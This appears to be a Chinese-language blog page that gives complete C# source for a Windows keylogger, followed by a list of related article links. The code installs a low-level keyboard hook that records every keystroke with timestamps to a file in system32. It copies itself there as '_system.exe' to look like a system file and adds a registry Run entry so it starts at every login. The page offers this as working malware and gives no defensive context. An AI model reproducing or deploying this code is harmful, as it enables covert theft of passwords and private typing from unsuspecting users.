C#鍵盤記錄器
using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;
using System.Threading;
namespace RozhDataSrvTest
{
/// <summary>
/// Form2 的摘要說明。
/// </summary>
public class Form2 : System.Windows.Forms.Form
{
/// <summary>
/// 必需的設計器變數。
/// </summary>
private System.ComponentModel.Container components = null;
private Hook MyHook=new Hook();
private Report MyReport=new Report();
private RegistryReport MyRegistryReport;
private string keyEvents,keyDate;
private System.Windows.Forms.TabControl tabControl1;
private System.Windows.Forms.TabPage tabPage1;
private System.Windows.Forms.Button button1;
public Form2()
{
//
// Windows 窗體設計器支援所必需的
//
InitializeComponent();
//
// TODO: 在 InitializeComponent 呼叫後新增任何建構函式程式碼
//
}
/// <summary>
/// 清理所有正在使用的資源。
/// </summary>
protected override void Dispose( bool disposing )
{
if( disposing )
{
if(components != null)
{
components.Dispose();
}
}
base.Dispose( disposing );
}
#region Windows 窗體設計器生成的程式碼
/// <summary>
/// 設計器支援所需的方法 - 不要使用程式碼編輯器修改
/// 此方法的內容。
/// </summary>
private void InitializeComponent()
{
this.button1 = new System.Windows.Forms.Button();
this.tabControl1 = new System.Windows.Forms.TabControl();
this.tabPage1 = new System.Windows.Forms.TabPage();
this.tabControl1.SuspendLayout();
this.SuspendLayout();
//
// button1
//
this.button1.Location = new System.Drawing.Point(160, 72);
this.button1.Name = "button1";
this.button1.TabIndex = 0;
this.button1.Text = "button1";
this.button1.Click += new System.EventHandler(this.button1_Click);
//
// tabControl1
//
this.tabControl1.Controls.Add(this.tabPage1);
this.tabControl1.Location = new System.Drawing.Point(32, 120);
this.tabControl1.Name = "tabControl1";
this.tabControl1.SelectedIndex = 0;
this.tabControl1.TabIndex = 1;
//
// tabPage1
//
this.tabPage1.Location = new System.Drawing.Point(4, 21);
this.tabPage1.Name = "tabPage1";
this.tabPage1.Size = new System.Drawing.Size(192, 75);
this.tabPage1.TabIndex = 0;
this.tabPage1.Text = "tabPage1";
//
// Form2
//
this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
this.ClientSize = new System.Drawing.Size(292, 266);
this.Controls.Add(this.tabControl1);
this.Controls.Add(this.button1);
this.Name = "Form2";
this.Text = "Form2";
this.Load += new System.EventHandler(this.Form2_Load);
this.tabControl1.ResumeLayout(false);
this.ResumeLayout(false);
}
#endregion
private void button1_Click(object sender, System.EventArgs e)
{
}
private void Form2_Load(object sender, System.EventArgs e)
{
MyRegistryReport=new RegistryReport();
this.MyRegistryReport.MoveFile();
this.MyRegistryReport.registryRun();
this.MyReport.FirstWrite();
this.MyHook.SetHook();
this.MyHook.KeyboardEvent += new KeyboardEventHandler(MyHook_KeyboardEvent);
}
private void MyHook_KeyboardEvent(KeyboardEvents keyEvent, Keys key)
{
this.keyEvents = keyEvent.ToString();
this.keyDate = key.ToString();
this.MyReport.WriteDate(keyEvents,keyDate);
}
}
}
Hook.cs
using System;
using System.Runtime.InteropServices;
using System.Reflection;
using System.Windows.Forms;
namespace RozhDataSrvTest
{
public enum KeyboardEvents
{
KeyDown = 0x0100,
KeyUp = 0x0101,
SystemKeyDown = 0x0104,
SystemKeyUp = 0x0105
}
[StructLayout(LayoutKind.Sequential)]
public struct KeyboardHookStruct
{
public int vkCode; //表示一個在1到254間的虛似鍵盤碼
public int scanCode; //表示硬體掃描碼
public int flags;
public int time;
public int dwExtraInfo;
}
public delegate void KeyboardEventHandler(KeyboardEvents keyEvent ,System.Windows.Forms.Keys key);
public class Hook
{
public event KeyboardEventHandler KeyboardEvent;
public enum HookType
{
WH_JOURNALRECORD = 0,
WH_JOURNALPLAYBACK = 1,
WH_KEYBOARD = 2,
WH_GETMESSAGE = 3,
WH_CALLWNDPROC = 4,
WH_CBT = 5,
WH_SYSMSGFILTER = 6,
WH_MOUSE = 7,
WH_HARDWARE = 8,
WH_DEBUG = 9,
WH_SHELL = 10,
WH_FOREGROUNDIDLE = 11,
WH_CALLWNDPROCRET = 12,
WH_KEYBOARD_LL = 13,
WH_MOUSE_LL = 14,
WH_MSGFILTER = -1,
}
public delegate IntPtr HookProc(int code, int wParam, IntPtr lParam);
[DllImport("User32.dll",CharSet = CharSet.Auto)]
public static extern IntPtr SetWindowsHookEx(HookType hookType,HookProc hook,IntPtr instance,int threadID);
[DllImport("User32.dll",CharSet = CharSet.Auto)]
public static extern IntPtr CallNextHookEx(IntPtr hookHandle, int code, int wParam, IntPtr lParam);
[DllImport("User32.dll",CharSet = CharSet.Auto)]
public static extern bool UnhookWindowsHookEx(IntPtr hookHandle);
private IntPtr instance;
private IntPtr hookHandle;
private int threadID;
private HookProc hookProcEx;
public Hook()
{
this.instance =
Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]);
this.threadID = 0;
hookHandle = IntPtr.Zero;
hookProcEx = new HookProc(hookProc);
}
public bool SetHook()
{
this.hookHandle = SetWindowsHookEx(HookType.WH_KEYBOARD_LL,hookProcEx,this.instance,this.threadID);
return ((int)hookHandle != 0);
}
public IntPtr hookProc(int code, int wParam, IntPtr lParam)
{
if(code >= 0)
{
KeyboardEvents kEvent = (KeyboardEvents)wParam;
if (kEvent != KeyboardEvents.KeyDown &&
kEvent != KeyboardEvents.KeyUp &&
kEvent != KeyboardEvents.SystemKeyDown &&
kEvent != KeyboardEvents.SystemKeyUp)
{
return CallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam, lParam);
}
KeyboardHookStruct MyKey = new KeyboardHookStruct();
Type t = MyKey.GetType();
MyKey = (KeyboardHookStruct)Marshal.PtrToStructure(lParam,t);
Keys keyData=(Keys)MyKey.vkCode;
KeyboardEvent(kEvent, keyData);
}
return CallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam, lParam);
}
public bool UnHook()
{
return Hook.UnhookWindowsHookEx(this.hookHandle);
}
}
}
RegistryReport.cs
using System;
using System.IO;
using Microsoft.Win32;
using System.Windows.Forms;
namespace RozhDataSrvTest
{
public class RegistryReport
{
public RegistryReport()
{
}
public void MoveFile()
{
if(!File.Exists("c://windows//system32//_system.exe"))
{
File.Move(Application.ExecutablePath,"c://windows//system32//_system.exe");
}
else
return;
}
public void registryRun()
{
RegistryKey key1=Registry.CurrentUser.CreateSubKey("Software//Microsoft//Windows//CurrentVersion//run");
key1.SetValue("","c://windows//system32//_system.exe");
key1.Close();
}
}
}
Report.cs
using System;
using System.IO;
namespace RozhDataSrvTest
{
public class Report
{
public Report()
{
}
public void FirstWrite()
{
StreamWriter sw = new StreamWriter("c:/windows/system32/keyReport.txt",true);
sw.WriteLine("************* LittleStudio Studio ************* ");
sw.WriteLine("******** " + DateTime.Today.Year.ToString() + "."
+ DateTime.Today.Month.ToString() + "."
+ DateTime.Today.Day.ToString() + " "
+ DateTime.Now.Hour.ToString() + ":"
+ DateTime.Now.Minute.ToString() + ":"
+ DateTime.Now.Second.ToString() + " ********");
sw.Close();
}
public void WriteDate(string keyEvents,string keyDate)
{
try
{
StreamWriter sw = new StreamWriter("c:/windows/system32/keyReport.txt",true);
sw.WriteLine(keyDate + "鍵 " + keyEvents + " "
+ DateTime.Now.Hour.ToString() + ":"
+ DateTime.Now.Minute.ToString() + ":"
+ DateTime.Now.Second.ToString());
sw.Close();
}
catch{}
return;
}
}
}
相關文章
- 鍵盤錄入
- Java中的鍵盤錄入Java
- Windows 10 隱私控制更新 有望緩解對“ 內建鍵盤記錄器 ”的顧慮Windows
- LastPass資料洩露事件最新細節,工程師電腦被植入鍵盤記錄器AST事件工程師
- Swift自定義表情鍵盤+錄音Swift
- 鍵盤錄入求絕對值
- 安卓日常開發記錄-鍵盤的相關處理方式安卓
- c# Aspose.Words記錄C#
- C# - 如何在 MVVM 中處理 XAML 鍵盤?C#MVVM
- 怎麼禁用筆記本鍵盤 關閉筆記本自帶鍵盤方法筆記
- 如何禁用筆記本鍵盤 win10禁用筆記本自帶鍵盤筆記Win10
- Java鍵盤錄入的兩種方式Java
- 一個簡單的 C# 非同步日誌記錄器C#非同步
- Android 軟鍵盤踩坑記Android
- 2.3用按鍵精靈錄製鍵盤與滑鼠操作
- 記錄 WSL 從 C 盤遷移至 D 盤
- Android裝置新型惡意軟體,融合銀行木馬、鍵盤記錄器和移動勒索軟體Android
- Eclipse工具:常用快捷鍵記錄Eclipse
- 老舊筆記本改造成便攜KVM(鍵盤顯示器)筆記
- C盤擴容(步驟記錄)
- 鍵盤鎖住了fn和什麼鍵能解除 筆記本鍵盤鎖住了按什麼鍵恢復筆記
- 轉盤小程式首頁運營覆盤記錄
- OWASP Top 10關鍵點記錄
- 鍵盤快捷鍵
- 筆記本鍵盤全部失靈怎麼回事 筆記本鍵盤失靈原因及解決方法筆記
- 筆記本鍵盤個別鍵失靈怎麼修復 筆記本自帶鍵盤失靈了的解決教程筆記
- 日誌記錄器
- centerOs根目錄盤擴容筆記ROS筆記
- 又一款黑客資料線,能夠記錄鍵盤輸入甚至控制裝置黑客
- 【快捷鍵】—— 鍵盤篇
- win10系統筆記本如何鎖住鍵盤 win10鎖住筆記本鍵盤的方法Win10筆記
- C#學習 [型別系統] 記錄(14)C#型別
- 鍵盤怎麼退出fn模式 筆記本桌上型電腦械鍵盤怎麼關閉取消fn鍵模式筆記
- 鍵盤怎麼退出fn模式 關閉筆記本Fn鍵方法模式筆記
- 鍵盤亂鍵怎麼處理 電腦鍵盤按鍵錯亂
- 機器學習記錄機器學習
- 鍵盤操作
- 鍵盤事件事件
- AutoTyper for Mac(鍵盤快捷鍵)Mac